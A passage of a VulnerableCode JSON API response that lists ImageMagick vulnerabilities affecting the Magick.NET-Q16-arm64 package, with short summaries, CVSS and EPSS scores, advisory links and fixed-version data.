"url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-17" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gc62-2v5p-qpmp", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-19T14:54:31Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gc62-2v5p-qpmp" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32636", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32636" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448862", "reference_id": "2448862", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448862" }, { "reference_url": "https://github.com/advisories/GHSA-gc62-2v5p-qpmp", "reference_id": "GHSA-gc62-2v5p-qpmp", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-gc62-2v5p-qpmp" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:17618", "reference_id": "RHSA-2026:17618", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:17618" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/113727?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.11.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.11.0" } ], "aliases": [ "CVE-2026-32636", "GHSA-gc62-2v5p-qpmp" ], "risk_score": 3.4, "exploitability": "0.5", "weighted_severity": "6.8", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cz6h-xcea-s3fn" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49526?format=api", "vulnerability_id": "VCID-ddvf-h3jf-1yft", "summary": "ImageMagick's failure to limit MVG mutual causes Stack Overflow\nMagick fails to check for circular references between two MVGs, leading to a stack overflow.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68950.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68950.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-68950", "reference_id": "", "reference_type": "", "scores": [ { "value": "8e-05", "scoring_system": "epss", "scoring_elements": "0.00762", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-68950" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68950", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68950" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:01Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2426284", "reference_id": "2426284", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2426284" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68950", "reference_id": "CVE-2025-68950", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68950" }, { "reference_url": "https://github.com/advisories/GHSA-7rvh-xqp3-pr8j", "reference_id": "GHSA-7rvh-xqp3-pr8j", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-7rvh-xqp3-pr8j" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j", "reference_id": "GHSA-7rvh-xqp3-pr8j", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:01Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73144?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.1" } ], "aliases": [ "CVE-2025-68950", "GHSA-7rvh-xqp3-pr8j" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ddvf-h3jf-1yft" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/90347?format=api", "vulnerability_id": "VCID-dskq-pcd4-v7fx", "summary": "ImageMagick has has an off-by-one origin validation in allows out-of-bounds read in morphology processing\nAn incorrect morphology would allow an out of bounds read of a single pixel.\n\n```\n==1200284==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5100000002d0 at pc 0x59e28e60c27a bp 0x7fff047fd8e0 sp 0x7fff047fd8d0\nREAD of size 4 at 0x5100000002d0 thread T0\n```", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q8h3-jv9v-57qx", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q8h3-jv9v-57qx" }, { "reference_url": "https://github.com/advisories/GHSA-q8h3-jv9v-57qx", "reference_id": "GHSA-q8h3-jv9v-57qx", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-q8h3-jv9v-57qx" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "GHSA-q8h3-jv9v-57qx" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-dskq-pcd4-v7fx" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50907?format=api", "vulnerability_id": "VCID-dw4p-7umw-tqhd", "summary": "ImageMagick has Heap Out-of-Bounds Read in DCM Decoder (ReadDCMImage)\nA heap out-of-bounds read vulnerability exists in the `coders/dcm.c` module. When processing DICOM files with a specific configuration, the decoder loop incorrectly reads bytes per iteration. This causes the function to read past the end of the allocated buffer, potentially leading to a Denial of Service (crash) or Information Disclosure (leaking heap memory into the image).", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25982.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25982.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25982", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.048", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25982" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25982", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25982" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442124", "reference_id": "2442124", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442124" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25982", "reference_id": "CVE-2026-25982", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25982" }, { "reference_url": "https://github.com/advisories/GHSA-pmq6-8289-hx3v", "reference_id": "GHSA-pmq6-8289-hx3v", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-pmq6-8289-hx3v" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pmq6-8289-hx3v", "reference_id": "GHSA-pmq6-8289-hx3v", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:03:44Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pmq6-8289-hx3v" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25982", "GHSA-pmq6-8289-hx3v" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-dw4p-7umw-tqhd" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50892?format=api", "vulnerability_id": "VCID-e59v-wtp4-v7ev", "summary": "ImageMagick: Write heap-buffer-overflow in PCL encoder via undersized output buffer\nA heap-buffer-overflow vulnerability exists in the PCL encode due to an undersized output buffer allocation.\n\n```\nWRITE of size 1 at 0x7e79f91f31a0 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28686.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28686.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28686", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.0554", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28686" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28686", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28686" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445889", "reference_id": "2445889", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445889" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28686", "reference_id": "CVE-2026-28686", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28686" }, { "reference_url": "https://github.com/advisories/GHSA-467j-76j7-5885", "reference_id": "GHSA-467j-76j7-5885", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-467j-76j7-5885" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-467j-76j7-5885", "reference_id": "GHSA-467j-76j7-5885", "reference_type": "", "scores": [ { "value": "6.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:24:19Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-467j-76j7-5885" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28686", "GHSA-467j-76j7-5885" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-e59v-wtp4-v7ev" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/90345?format=api", "vulnerability_id": "VCID-ea8n-71s6-nbfq", "summary": "ImageMagick has a memory leak in PNG encoder when writing a MNG image\nWhen the PNG encoder fails to write an MNG image it can leak memory.", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-x928-4434-crqj", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-x928-4434-crqj" }, { "reference_url": "https://github.com/advisories/GHSA-x928-4434-crqj", "reference_id": "GHSA-x928-4434-crqj", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-x928-4434-crqj" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": 